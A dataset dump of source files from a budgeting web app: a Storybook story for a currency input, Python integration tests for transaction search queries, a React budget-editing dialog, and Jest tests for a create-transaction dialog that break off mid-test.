DefaultProps = () => (\n <Formik initialValues={{ field: 840 }}>\n <>\n <Field name='field' component={CurrencyInputField} />\n <Field name='field' component={TextField} />\n </>\n </Formik>\n);\n\nexport const AutoCompleteProps = () => (\n <Formik initialValues={{ field: 980 }}>\n <>\n <Field\n autoCompleteProps={{ style: { background: 'lightgreen' } }}\n name='field'\n component={CurrencyInputField}\n />\n <Field name='field' component={TextField} />\n </>\n </Formik>\n);\n\nexport const TextFieldProps = () => (\n <Formik initialValues={{ field: 840 }}>\n <>\n <Field\n name='field'\n component={CurrencyInputField}\n helperText='Currency type'\n label='Currency'\n />\n <Field name='field' component={TextField} />\n </>\n </Formik>\n);\n\nexport const FormError = () => (\n <Formik initialValues={{ field: 840 }} validate={() => ({ field: 'field is bad' })}>\n <>\n <Field name='field' component={CurrencyInputField} helperText='help text' />\n <Field name='field' component={TextField} />\n </>\n </Formik>\n);\n" }, { "alpha_fraction": 0.4233834147453308, "alphanum_fraction": 0.4865867793560028, "avg_line_length": 33.10580825805664, "blob_id": "ca73aac30b69224007a0213e4a76eefd984283f0", "content_id": "4420ada381a1aa041be64f07a9bd69f70711f64c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 16439, "license_type": "permissive", "max_line_length": 94, "num_lines": 482, "path": "/backend/underbudget/tests/test_transaction_queries.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Integration tests for transaction query APIs \"\"\"\nfrom parameterized import parameterized\n\nfrom underbudget.tests.base import BaseTestCase\n\n\nclass TransactionQueriesTestCase(BaseTestCase):\n \"\"\" Integration tests for transaction query APIs \"\"\"\n\n # pylint: disable=too-many-arguments\n def create_transaction(\n self,\n recorded_date,\n payee,\n ledger_id,\n account_id,\n envelope_id,\n amount,\n memo=\"\",\n cleared=False,\n ):\n \"\"\" Create a transaction using the REST API \"\"\"\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/transactions\",\n json={\n \"recordedDate\": recorded_date,\n \"payee\": payee,\n \"accountTransactions\": [\n {\n \"accountId\": account_id,\n \"amount\": amount,\n \"memo\": memo,\n \"cleared\": cleared,\n },\n ],\n \"envelopeTransactions\": [\n {\n \"envelopeId\": envelope_id,\n \"amount\": amount,\n \"memo\": memo,\n },\n ],\n },\n )\n assert resp.status_code == 201\n\n def create_transaction_history(self):\n \"\"\" Create a set of transactions with two accounts and two envelopes \"\"\"\n # pylint: disable=invalid-name\n l = self.create_ledger()\n acct_cat_id = self.create_account_category(l)\n a1 = self.create_account(acct_cat_id)\n a2 = self.create_account(acct_cat_id)\n env_cat_id = self.create_envelope_category(l)\n e1 = self.create_envelope(env_cat_id)\n e2 = self.create_envelope(env_cat_id)\n\n transactions = [\n [\"2021-04-01\", \"Vendor A\", l, a1, e1, 10000, \"\", True],\n [\"2021-04-02\", \"Vendor B\", l, a2, e1, -1000, \"\", True],\n [\"2021-04-02\", \"Vendor C\", l, a1, e2, -1000, \"Note 1\", True],\n [\"2021-04-01\", \"Vendor A\", l, a1, e1, -1500, \"\", True],\n [\"2021-04-03\", \"Vendor B\", l, a2, e2, -1000, \"\", True],\n [\"2021-04-04\", \"Vendor C\", l, a1, e1, -1000, \"Note 2\", True],\n [\"2021-04-06\", \"Vendor C\", l, a2, e1, 10000, \"some thing\", True],\n [\"2021-04-06\", \"Vendor B\", l, a1, e2, -1000, \"\", True],\n [\"2021-04-07\", \"Vendor A\", l, a1, e1, -1000, \"\", True],\n [\"2021-04-08\", \"Vendor C\", l, a2, e2, -1500, \"another thing\", True],\n [\"2021-04-10\", \"Vendor B\", l, a1, e1, -500, \"\", True],\n [\"2021-04-11\", \"Vendor C\", l, a2, e2, -1000, \"one thing\", False],\n [\"2021-04-14\", \"Vendor A\", l, a1, e2, 10000, \"\", False],\n [\"2021-04-14\", \"Vendor B\", l, a1, e1, -1000, \"\", False],\n [\"2021-04-14\", \"Vendor A\", l, a2, e2, -1000, \"Note 2\", False],\n [\"2021-04-14\", \"Vendor B\", l, a1, e1, -1500, \"\", False],\n [\"2021-04-15\", \"Vendor B\", l, a2, e1, -500, \"\", False],\n [\"2021-04-15\", \"Vendor B\", l, a1, e2, -1000, \"\", False],\n [\"2021-04-12\", \"Vendor C\", l, a1, e1, 10000, \"thing for someone\", False],\n [\"2021-04-17\", \"Vendor B\", l, a2, e2, -1000, \"\", False],\n ]\n\n for trn in transactions:\n self.create_transaction(*trn)\n\n return {\n \"ledger_id\": l,\n \"acct_id_1\": a1,\n \"acct_id_2\": a2,\n \"env_id_1\": e1,\n \"env_id_2\": e2,\n }\n\n def setUp(self):\n super().setUp()\n self.ids = self.create_transaction_history()\n\n def test_account_transaction_query_by_account_id(self):\n # in\n resp = self.client.get(\n f\"/api/account-transactions/search?accountId={self.ids['acct_id_1']}&size=50\"\n )\n assert resp.status_code == 200\n assert len(resp.json[\"transactions\"]) == 12\n\n resp = self.client.get(\n f\"/api/account-transactions/search?accountId={self.ids['acct_id_2']}&size=50\"\n )\n assert resp.status_code == 200\n assert len(resp.json[\"transactions\"]) == 8\n\n resp = self.client.get(\n \"/api/account-transactions/search?\"\n f\"accountId={self.ids['acct_id_1']},{self.ids['acct_id_2']}&size=50\"\n )\n assert resp.status_code == 200\n assert len(resp.json[\"transactions\"]) == 20\n\n # not in\n resp = self.client.get(\n f\"/api/account-transactions/search?accountId=not:{self.ids['acct_id_1']}&size=50\"\n )\n assert resp.status_code == 200\n assert len(resp.json[\"transactions\"]) == 8\n\n resp = self.client.get(\n f\"/api/account-transactions/search?accountId=not:{self.ids['acct_id_2']}&size=50\"\n )\n assert resp.status_code == 200\n assert len(resp.json[\"transactions\"]) == 12\n\n resp = self.client.get(\n \"/api/account-transactions/search?\"\n f\"accountId=not:{self.ids['acct_id_1']},{self.ids['acct_id_2']}&size=50\"\n )\n assert resp.status_code == 200\n assert len(resp.json[\"transactions\"]) == 0\n\n @parameterized.expand(\n [\n (\"\", 20),\n # equal\n (\"10000\", 4),\n (\"not:10000\", 16),\n (\"eq:-500\", 2),\n (\"not:eq:-500\", 18),\n # less than\n (\"lt:-1000\", 3),\n (\"not:lt:-1000\", 17),\n # less than or equal\n (\"lte:-1000\", 14),\n (\"not:lte:-1000\", 6),\n # greater than\n (\"gt:-500\", 4),\n (\"not:gt:-500\", 16),\n # greater than or equal\n (\"gte:-500\", 6),\n (\"not:gte:-500\", 14),\n # between\n (\"between:-1200:-400\", 13),\n (\"not:between:-1200:-400\", 7),\n ]\n )\n def test_account_transaction_query_by_amount(self, criteria, expected):\n resp = self.client.get(\n f\"/api/account-transactions/search?amount={criteria}&size=50\"\n )\n assert resp.status_code == 200\n assert len(resp.json[\"transactions\"]) == expected\n\n @parameterized.expand(\n [\n (\"\", 20),\n (\"true\", 11),\n (\"True\", 11),\n (\"yes\", 11),\n (\"on\", 11),\n (\"1\", 11),\n (\"false\", 9),\n (\"no\", 9),\n (\"0\", 9),\n ]\n )\n def test_account_transaction_query_by_cleared(self, criteria, expected):\n resp = self.client.get(\n f\"/api/account-transactions/search?cleared={criteria}&size=50\"\n )\n assert resp.status_code == 200\n assert len(resp.json[\"transactions\"]) == expected\n\n @parameterized.expand(\n [\n (\"\", 20),\n # equal\n (\"Note%201\", 1),\n (\"not:Note%201\", 19),\n (\"eq:Note%202\", 2),\n (\"not:eq:Note%202\", 18),\n # starts\n (\"starts:Note\", 3),\n (\"not:starts:Note\", 17),\n # ends\n (\"ends:thing\", 3),\n (\"not:ends:thing\", 17),\n # contains\n (\"contains:some\", 2),\n (\"contains:thing\", 4),\n (\"not:contains:thing\", 16),\n ]\n )\n def test_account_transaction_query_by_memo(self, criteria, expected):\n resp = self.client.get(\n f\"/api/account-transactions/search?memo={criteria}&size=50\"\n )\n assert resp.status_code == 200\n assert len(resp.json[\"transactions\"]) == expected\n\n @parameterized.expand(\n [\n (\"\", 20),\n (\"Vendor%20A\", 5),\n (\"not:Vendor%20A\", 15),\n # all other string operators are tested with the memo\n ]\n )\n def test_account_transaction_query_by_payee(self, criteria, expected):\n resp = self.client.get(\n f\"/api/account-transactions/search?payee={criteria}&size=50\"\n )\n assert resp.status_code == 200\n assert len(resp.json[\"transactions\"]) == expected\n\n def test_account_transaction_query_by_reconciliation_id(self):\n resp = self.client.get(\n \"/api/account-transactions/search?reconciliationId=is:null&size=50\"\n )\n assert resp.status_code == 200\n assert len(resp.json[\"transactions\"]) == 20\n\n trn_ids = [\n t[\"id\"]\n for t in resp.json[\"transactions\"]\n if t[\"accountId\"] == self.ids[\"acct_id_1\"]\n ]\n\n resp = self.client.post(\n f\"/api/accounts/{self.ids['acct_id_1']}/reconciliations\",\n json={\n \"beginningBalance\": 0,\n \"beginningDate\": \"2021-04-01\",\n \"endingBalance\": 0,\n \"endingDate\": \"2021-04-30\",\n \"transactionIds\": trn_ids,\n },\n )\n assert resp.status_code == 201\n reconciliation_id = resp.json.get(\"id\")\n\n resp = self.client.get(\n \"/api/account-transactions/search?reconciliationId=is:null&size=50\"\n )\n assert resp.status_code == 200\n assert len(resp.json[\"transactions\"]) == 8\n\n resp = self.client.get(\n f\"/api/account-transactions/search?reconciliationId={reconciliation_id}&size=50\"\n )\n assert resp.status_code == 200\n assert len(resp.json[\"transactions\"]) == 12\n\n @parameterized.expand(\n [\n (\"\", 20),\n # equal\n (\"eq:2021-04-14\", 4),\n (\"not:eq:2021-04-14\", 16),\n # less than\n (\"lt:2021-04-14\", 13),\n (\"not:lt:2021-04-14\", 7),\n # less than or equal\n (\"lte:2021-04-14\", 17),\n (\"not:lte:2021-04-14\", 3),\n # greater than\n (\"gt:2021-04-14\", 3),\n (\"not:gt:2021-04-14\", 17),\n # greater than or equal\n (\"gte:2021-04-14\", 7),\n (\"not:gte:2021-04-14\", 13),\n # between\n (\"between:2021-04-08:2021-04-14\", 8),\n (\"not:between:2021-04-08:2021-04-14\", 12),\n ]\n )\n def test_account_transaction_query_by_recorded_date(self, criteria, expected):\n resp = self.client.get(\n f\"/api/account-transactions/search?recordedDate={criteria}&size=50\"\n )\n assert resp.status_code == 200\n assert len(resp.json[\"transactions\"]) == expected\n\n @parameterized.expand(\n [\n (\"\", 20),\n (\"income\", 4),\n (\"not:income\", 16),\n (\"expense\", 16),\n (\"not:expense\", 4),\n (\"income,refund\", 4),\n (\"income,expense\", 20),\n (\"not:income,expense\", 0),\n (\"not:transfer,expense\", 4),\n ]\n )\n def test_account_transaction_query_by_type(self, criteria, expected):\n resp = self.client.get(\n f\"/api/account-transactions/search?type={criteria}&size=50\"\n )\n assert resp.status_code == 200\n assert len(resp.json[\"transactions\"]) == expected\n\n def test_envelope_transaction_query_by_envelope_id(self):\n # in\n resp = self.client.get(\n f\"/api/envelope-transactions/search?envelopeId={self.ids['env_id_1']}&size=50\"\n )\n assert resp.status_code == 200\n assert len(resp.json[\"transactions\"]) == 11\n\n resp = self.client.get(\n f\"/api/envelope-transactions/search?envelopeId={self.ids['env_id_2']}&size=50\"\n )\n assert resp.status_code == 200\n assert len(resp.json[\"transactions\"]) == 9\n\n resp = self.client.get(\n \"/api/envelope-transactions/search?\"\n f\"envelopeId={self.ids['env_id_1']},{self.ids['env_id_2']}&size=50\"\n )\n assert resp.status_code == 200\n assert len(resp.json[\"transactions\"]) == 20\n\n # not in\n resp = self.client.get(\n f\"/api/envelope-transactions/search?envelopeId=not:{self.ids['env_id_1']}&size=50\"\n )\n assert resp.status_code == 200\n assert len(resp.json[\"transactions\"]) == 9\n\n resp = self.client.get(\n f\"/api/envelope-transactions/search?envelopeId=not:{self.ids['env_id_2']}&size=50\"\n )\n assert resp.status_code == 200\n assert len(resp.json[\"transactions\"]) == 11\n\n resp = self.client.get(\n \"/api/envelope-transactions/search?\"\n f\"envelopeId=not:{self.ids['env_id_1']},{self.ids['env_id_2']}&size=50\"\n )\n assert resp.status_code == 200\n assert len(resp.json[\"transactions\"]) == 0\n\n @parameterized.expand(\n [\n (\"\", 20),\n # equal\n (\"10000\", 4),\n (\"not:10000\", 16),\n (\"eq:-500\", 2),\n (\"not:eq:-500\", 18),\n # less than\n (\"lt:-1000\", 3),\n (\"not:lt:-1000\", 17),\n # less than or equal\n (\"lte:-1000\", 14),\n (\"not:lte:-1000\", 6),\n # greater than\n (\"gt:-500\", 4),\n (\"not:gt:-500\", 16),\n # greater than or equal\n (\"gte:-500\", 6),\n (\"not:gte:-500\", 14),\n # between\n (\"between:-1200:-400\", 13),\n (\"not:between:-1200:-400\", 7),\n ]\n )\n def test_envelope_transaction_query_by_amount(self, criteria, expected):\n resp = self.client.get(\n f\"/api/envelope-transactions/search?amount={criteria}&size=50\"\n )\n assert resp.status_code == 200\n assert len(resp.json[\"transactions\"]) == expected\n\n @parameterized.expand(\n [\n (\"\", 20),\n # equal\n (\"Note%201\", 1),\n (\"not:Note%201\", 19),\n (\"eq:Note%202\", 2),\n (\"not:eq:Note%202\", 18),\n # starts\n (\"starts:Note\", 3),\n (\"not:starts:Note\", 17),\n # ends\n (\"ends:thing\", 3),\n (\"not:ends:thing\", 17),\n # contains\n (\"contains:some\", 2),\n (\"contains:thing\", 4),\n (\"not:contains:thing\", 16),\n ]\n )\n def test_envelope_transaction_query_by_memo(self, criteria, expected):\n resp = self.client.get(\n f\"/api/envelope-transactions/search?memo={criteria}&size=50\"\n )\n assert resp.status_code == 200\n assert len(resp.json[\"transactions\"]) == expected\n\n @parameterized.expand(\n [\n (\"\", 20),\n (\"Vendor%20A\", 5),\n (\"not:Vendor%20A\", 15),\n # all other string operators are tested with the memo\n ]\n )\n def test_envelope_transaction_query_by_payee(self, criteria, expected):\n resp = self.client.get(\n f\"/api/envelope-transactions/search?payee={criteria}&size=50\"\n )\n assert resp.status_code == 200\n assert len(resp.json[\"transactions\"]) == expected\n\n @parameterized.expand(\n [\n (\"\", 20),\n # equal\n (\"eq:2021-04-14\", 4),\n (\"not:eq:2021-04-14\", 16),\n # less than\n (\"lt:2021-04-14\", 13),\n (\"not:lt:2021-04-14\", 7),\n # less than or equal\n (\"lte:2021-04-14\", 17),\n (\"not:lte:2021-04-14\", 3),\n # greater than\n (\"gt:2021-04-14\", 3),\n (\"not:gt:2021-04-14\", 17),\n # greater than or equal\n (\"gte:2021-04-14\", 7),\n (\"not:gte:2021-04-14\", 13),\n # between\n (\"between:2021-04-08:2021-04-14\", 8),\n (\"not:between:2021-04-08:2021-04-14\", 12),\n ]\n )\n def test_envelope_transaction_query_by_recorded_date(self, criteria, expected):\n resp = self.client.get(\n f\"/api/envelope-transactions/search?recordedDate={criteria}&size=50\"\n )\n assert resp.status_code == 200\n assert len(resp.json[\"transactions\"]) == expected\n\n @parameterized.expand(\n [\n (\"\", 20),\n (\"income\", 4),\n (\"not:income\", 16),\n (\"expense\", 16),\n (\"not:expense\", 4),\n (\"income,refund\", 4),\n (\"income,expense\", 20),\n (\"not:income,expense\", 0),\n (\"not:transfer,expense\", 4),\n ]\n )\n def test_envelope_transaction_query_by_type(self, criteria, expected):\n resp = self.client.get(\n f\"/api/envelope-transactions/search?type={criteria}&size=50\"\n )\n assert resp.status_code == 200\n assert len(resp.json[\"transactions\"]) == expected\n" }, { "alpha_fraction": 0.7208333611488342, "alphanum_fraction": 0.7208333611488342, "avg_line_length": 26.69230842590332, "blob_id": "6b8d5ebd4517041ce39ab84a05dcc52fed161346", "content_id": "8222fc131a8992fa0cf476c73e1e7dbe09d9c813", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1440, "license_type": "permissive", "max_line_length": 77, "num_lines": 52, "path": "/webapp/src/features/budgets/components/ModifyActiveBudgetDialog.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import PropTypes from 'prop-types';\nimport React from 'react';\nimport { useParams } from 'react-router-dom';\n\nimport FormDialog from 'common/components/FormDialog';\nimport useNavigateKeepingSearch from 'common/hooks/useNavigateKeepingSearch';\nimport useFetchActiveBudget from '../hooks/useFetchActiveBudget';\nimport useModifyActiveBudget from '../hooks/useModifyActiveBudget';\nimport ActiveBudgetForm from './ActiveBudgetForm';\n\nconst formProps = {\n disableYear: true,\n};\n\nconst ModifyActiveBudgetDialog = ({ onExitNavigateTo }) => {\n const navigate = useNavigateKeepingSearch();\n const { id } = useParams();\n const { data, isLoading } = useFetchActiveBudget(\n { id },\n { onError: () => navigate(onExitNavigateTo) },\n );\n const activeBudget = {\n ...ActiveBudgetForm.initialValues,\n ...data,\n };\n const { mutate } = useModifyActiveBudget();\n\n return (\n <FormDialog\n actionText='Save'\n enableReinitialize\n formProps={formProps}\n FormComponent={ActiveBudgetForm}\n initialValues={activeBudget}\n isLoading={isLoading}\n onExitNavigateTo={onExitNavigateTo}\n onSubmit={mutate}\n title='Modify Active Budget'\n validationSchema={ActiveBudgetForm.validationSchema}\n />\n );\n};\n\nModifyActiveBudgetDialog.propTypes = {\n onExitNavigateTo: PropTypes.string,\n};\n\nModifyActiveBudgetDialog.defaultProps = {\n onExitNavigateTo: '../..',\n};\n\nexport default ModifyActiveBudgetDialog;\n" }, { "alpha_fraction": 0.6408079862594604, "alphanum_fraction": 0.6653652191162109, "avg_line_length": 38.360801696777344, "blob_id": "ecba61152937660a458f032bf0ee01419378ae01", "content_id": "89c9fda4d91ef8c93c3a19440acb00b4dd283c8d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 17673, "license_type": "permissive", "max_line_length": 99, "num_lines": 449, "path": "/webapp/src/features/transactions/components/__tests__/CreateTransactionDialog.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { configure, fireEvent, screen, waitFor } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\n\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport renderWithRouter from 'test/renderWithRouter';\nimport setupMockApi from 'test/setupMockApi';\nimport CreateTransactionDialog from '../CreateTransactionDialog';\n\nconst render = (props = null) => {\n configure({ defaultHidden: true });\n\n setSelectedLedger('2');\n\n const queryClient = new QueryClient({\n defaultOptions: {\n queries: {\n staleTime: Infinity,\n },\n },\n });\n const invalidateQueries = jest.spyOn(queryClient, 'invalidateQueries');\n\n const mock = setupMockApi({ delayResponse: 0 });\n\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <CreateTransactionDialog {...props} />\n </QueryClientProvider>,\n ),\n invalidateQueries,\n mock,\n queryClient,\n };\n};\n\ntest('should initialize to empty transaction', async () => {\n const { mock } = render();\n await waitFor(() => expect(mock.history.get.length).toBe(3));\n\n expect(screen.getByRole('heading', { name: /create transaction/i })).toBeInTheDocument();\n\n // Empty select field\n expect(screen.getByRole('button', { name: /type /i })).toBeInTheDocument();\n\n expect(screen.getByRole('textbox', { name: /payee/i })).toHaveDisplayValue('');\n\n expect(screen.getByRole('textbox', { name: /date/i })).toHaveDisplayValue('2021-06-24');\n\n expect(screen.getByRole('textbox', { name: /account/i })).toHaveDisplayValue('');\n\n expect(screen.getByRole('checkbox')).not.toBeChecked();\n\n expect(screen.getByRole('textbox', { name: /envelope/i })).toHaveDisplayValue('');\n\n const memos = screen.getAllByRole('textbox', { name: /memo/i });\n expect(memos).toHaveLength(2);\n memos.forEach((memo) => expect(memo).toHaveDisplayValue(''));\n\n const amounts = screen.getAllByRole('textbox', { name: /amount/i });\n expect(amounts).toHaveLength(2);\n amounts.forEach((amount) => expect(amount).toHaveDisplayValue('$0.00'));\n\n expect(screen.getByRole('button', { name: /delete account split/i })).toBeDisabled();\n expect(screen.getByRole('button', { name: /delete envelope split/i })).toBeDisabled();\n expect(screen.getByRole('button', { name: /create/i })).toBeDisabled();\n});\n\ntest('should initialize with account', async () => {\n const { mock } = render({ initialAccountId: 4 });\n await waitFor(() => expect(mock.history.get.length).toBe(3));\n expect(screen.getByRole('textbox', { name: /account/i })).toHaveDisplayValue(\n 'Category 3:Account 4',\n );\n});\n\ntest('should initialize with envelope', async () => {\n const { mock } = render({ initialEnvelopeId: 3 });\n await waitFor(() => expect(mock.history.get.length).toBe(3));\n expect(screen.getByRole('textbox', { name: /envelope/i })).toHaveDisplayValue(\n 'Category 2:Envelope 3',\n );\n});\n\ntest('should create income transaction', async () => {\n const { invalidateQueries, mock } = render();\n mock.onPost('/api/ledgers/2/transactions').reply(201);\n await waitFor(() => expect(mock.history.get.length).toBe(3));\n\n const amounts = screen.getAllByRole('textbox', { name: /amount/i });\n fireEvent.change(amounts[0], { target: { value: '$12.34' } });\n\n await waitFor(() =>\n expect(screen.getByRole('button', { name: /type income/i })).toBeInTheDocument(),\n );\n expect(amounts[1]).toHaveDisplayValue('$12.34');\n\n userEvent.type(screen.getByRole('textbox', { name: /payee/i }), 'payday');\n userEvent.type(screen.getByRole('textbox', { name: /account/i }), 'Category 1:Account 2');\n userEvent.type(screen.getByRole('textbox', { name: /envelope/i }), 'Category 2:Envelope 3');\n userEvent.tab();\n\n const create = screen.getByRole('button', { name: /create/i });\n await waitFor(() => expect(create).toBeEnabled());\n\n userEvent.click(create);\n await waitFor(() => expect(mock.history.post.length).toBe(1));\n expect(JSON.parse(mock.history.post[0].data)).toEqual({\n type: 'income',\n payee: 'payday',\n recordedDate: '2021-06-24',\n accountTransactions: [\n {\n accountId: 2,\n memo: '',\n cleared: false,\n amount: 1234,\n },\n ],\n envelopeTransactions: [\n {\n envelopeId: 3,\n memo: '',\n amount: 1234,\n },\n ],\n });\n expect(invalidateQueries).toHaveBeenCalledTimes(5);\n expect(invalidateQueries).toHaveBeenCalledWith(['account-balance', '2']);\n expect(invalidateQueries).toHaveBeenCalledWith(['account-transactions', '2']);\n expect(invalidateQueries).toHaveBeenCalledWith(['unreconciled-transactions', '2']);\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope-balance', '3']);\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope-transactions', '3']);\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /create transaction/i })).not.toBeInTheDocument(),\n );\n}, 15000);\n\ntest('should create expense transaction', async () => {\n const { invalidateQueries, mock } = render();\n mock.onPost('/api/ledgers/2/transactions').reply(201);\n await waitFor(() => expect(mock.history.get.length).toBe(3));\n\n const amounts = screen.getAllByRole('textbox', { name: /amount/i });\n fireEvent.change(amounts[1], { target: { value: '-$12.34' } });\n\n await waitFor(() =>\n expect(screen.getByRole('button', { name: /type expense/i })).toBeInTheDocument(),\n );\n expect(amounts[0]).toHaveDisplayValue('-$12.34');\n\n userEvent.type(screen.getByRole('textbox', { name: /payee/i }), 'groceries');\n fireEvent.change(screen.getByRole('textbox', { name: /date/i }), {\n target: { value: '2021-06-07' },\n });\n userEvent.type(screen.getByRole('textbox', { name: /account/i }), 'Category 3:Account 3');\n userEvent.click(screen.getByRole('checkbox'));\n userEvent.type(screen.getByRole('textbox', { name: /envelope/i }), 'Category 1:Envelope 1');\n userEvent.type(screen.getAllByRole('textbox', { name: /memo/i })[1], 'food for party');\n userEvent.tab();\n\n const create = screen.getByRole('button', { name: /create/i });\n await waitFor(() => expect(create).toBeEnabled());\n\n userEvent.click(create);\n await waitFor(() => expect(mock.history.post.length).toBe(1));\n expect(JSON.parse(mock.history.post[0].data)).toEqual({\n type: 'expense',\n payee: 'groceries',\n recordedDate: '2021-06-07',\n accountTransactions: [\n {\n accountId: 3,\n memo: '',\n cleared: true,\n amount: -1234,\n },\n ],\n envelopeTransactions: [\n {\n envelopeId: 1,\n memo: 'food for party',\n amount: -1234,\n },\n ],\n });\n expect(invalidateQueries).toHaveBeenCalledTimes(5);\n expect(invalidateQueries).toHaveBeenCalledWith(['account-balance', '3']);\n expect(invalidateQueries).toHaveBeenCalledWith(['account-transactions', '3']);\n expect(invalidateQueries).toHaveBeenCalledWith(['unreconciled-transactions', '3']);\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope-balance', '1']);\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope-transactions', '1']);\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /create transaction/i })).not.toBeInTheDocument(),\n );\n}, 15000);\n\ntest('should create multi-split expense transaction', async () => {\n const { invalidateQueries, mock } = render();\n mock.onPost('/api/ledgers/2/transactions').reply(201);\n await waitFor(() => expect(mock.history.get.length).toBe(3));\n\n userEvent.click(screen.getByRole('button', { name: /add envelope/i }));\n userEvent.click(screen.getByRole('button', { name: /add envelope/i }));\n\n const amounts = screen.getAllByRole('textbox', { name: /amount/i });\n expect(amounts).toHaveLength(4);\n fireEvent.change(amounts[0], { target: { value: '-$100.00' } });\n fireEvent.change(amounts[1], { target: { value: '-$12.34' } });\n fireEvent.change(amounts[2], { target: { value: '-$12.66' } });\n fireEvent.change(amounts[3], { target: { value: '-$75.00' } });\n\n userEvent.type(screen.getByRole('textbox', { name: /payee/i }), 'online order');\n userEvent.type(screen.getByRole('textbox', { name: /account/i }), 'Category 1:Account 1');\n\n const envelopes = screen.getAllByRole('textbox', { name: /envelope/i });\n expect(envelopes).toHaveLength(3);\n userEvent.type(envelopes[0], 'Category 1:Envelope 1');\n userEvent.type(envelopes[1], 'Category 2:Envelope 2');\n userEvent.type(envelopes[2], 'Category 2:Envelope 3');\n userEvent.tab();\n\n const create = screen.getByRole('button', { name: /create/i });\n await waitFor(() => expect(create).toBeEnabled());\n\n userEvent.click(create);\n await waitFor(() => expect(mock.history.post.length).toBe(1));\n expect(JSON.parse(mock.history.post[0].data)).toEqual({\n type: 'expense',\n payee: 'online order',\n recordedDate: '2021-06-24',\n accountTransactions: [\n {\n accountId: 1,\n memo: '',\n cleared: false,\n amount: -10000,\n },\n ],\n envelopeTransactions: [\n {\n envelopeId: 1,\n memo: '',\n amount: -1234,\n },\n {\n envelopeId: 2,\n memo: '',\n amount: -1266,\n },\n {\n envelopeId: 3,\n memo: '',\n amount: -7500,\n },\n ],\n });\n expect(invalidateQueries).toHaveBeenCalledTimes(9);\n expect(invalidateQueries).toHaveBeenCalledWith(['account-balance', '1']);\n expect(invalidateQueries).toHaveBeenCalledWith(['account-transactions', '1']);\n expect(invalidateQueries).toHaveBeenCalledWith(['unreconciled-transactions', '1']);\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope-balance', '1']);\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope-transactions', '1']);\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope-balance', '2']);\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope-transactions', '2']);\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope-balance', '3']);\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope-transactions', '3']);\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /create transaction/i })).not.toBeInTheDocument(),\n );\n}, 15000);\n\ntest('should create transfer transaction', async () => {\n const { invalidateQueries, mock } = render();\n mock.onPost('/api/ledgers/2/transactions').reply(201);\n await waitFor(() => expect(mock.history.get.length).toBe(3));\n\n userEvent.click(screen.getByRole('button', { name: /add account/i }));\n userEvent.click(screen.getByRole('button', { name: /delete envelope split/i }));\n\n const amounts = screen.getAllByRole('textbox', { name: /amount/i });\n fireEvent.change(amounts[0], { target: { value: '-$12.34' } });\n\n await waitFor(() => expect(amounts[1]).toHaveDisplayValue('$12.34'));\n expect(screen.getByRole('button', { name: /type account-to-account/i })).toBeInTheDocument();\n\n fireEvent.change(amounts[1], { target: { value: '-$43.21' } });\n\n await waitFor(() => expect(amounts[0]).toHaveDisplayValue('$43.21'));\n\n userEvent.type(screen.getByRole('textbox', { name: /payee/i }), 'pay credit card');\n\n const accounts = screen.getAllByRole('textbox', { name: /account/i });\n userEvent.type(accounts[0], 'Category 3:Account 3');\n userEvent.type(accounts[1], 'Category 1:Account 2');\n\n userEvent.click(screen.getAllByRole('checkbox')[1]);\n\n userEvent.type(screen.getAllByRole('textbox', { name: /memo/i })[0], 'some note');\n userEvent.tab();\n\n const create = screen.getByRole('button', { name: /create/i });\n await waitFor(() => expect(create).toBeEnabled());\n\n userEvent.click(create);\n await waitFor(() => expect(mock.history.post.length).toBe(1));\n expect(JSON.parse(mock.history.post[0].data)).toEqual({\n type: 'transfer',\n payee: 'pay credit card',\n recordedDate: '2021-06-24',\n accountTransactions: [\n {\n accountId: 3,\n memo: 'some note',\n cleared: false,\n amount: 4321,\n },\n {\n accountId: 2,\n memo: '',\n cleared: true,\n amount: -4321,\n },\n ],\n envelopeTransactions: [],\n });\n expect(invalidateQueries).toHaveBeenCalledTimes(6);\n expect(invalidateQueries).toHaveBeenCalledWith(['account-balance', '2']);\n expect(invalidateQueries).toHaveBeenCalledWith(['account-transactions', '2']);\n expect(invalidateQueries).toHaveBeenCalledWith(['unreconciled-transactions', '2']);\n expect(invalidateQueries).toHaveBeenCalledWith(['account-balance', '3']);\n expect(invalidateQueries).toHaveBeenCalledWith(['account-transactions', '3']);\n expect(invalidateQueries).toHaveBeenCalledWith(['unreconciled-transactions', '3']);\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /create transaction/i })).not.toBeInTheDocument(),\n );\n}, 15000);\n\ntest('should create allocation transaction', async () => {\n const { invalidateQueries, mock } = render();\n mock.onPost('/api/ledgers/2/transactions').reply(201);\n await waitFor(() => expect(mock.history.get.length).toBe(3));\n\n userEvent.click(screen.getByRole('button', { name: /add envelope/i }));\n userEvent.click(screen.getByRole('button', { name: /delete account split/i }));\n\n const amounts = screen.getAllByRole('textbox', { name: /amount/i });\n fireEvent.change(amounts[0], { target: { value: '-$12.34' } });\n\n await waitFor(() => expect(amounts[1]).toHaveDisplayValue('$12.34'));\n expect(\n screen.getByRole('button', { name: /type envelope-to-envelope \\(budgeted\\)/i }),\n ).toBeInTheDocument();\n\n 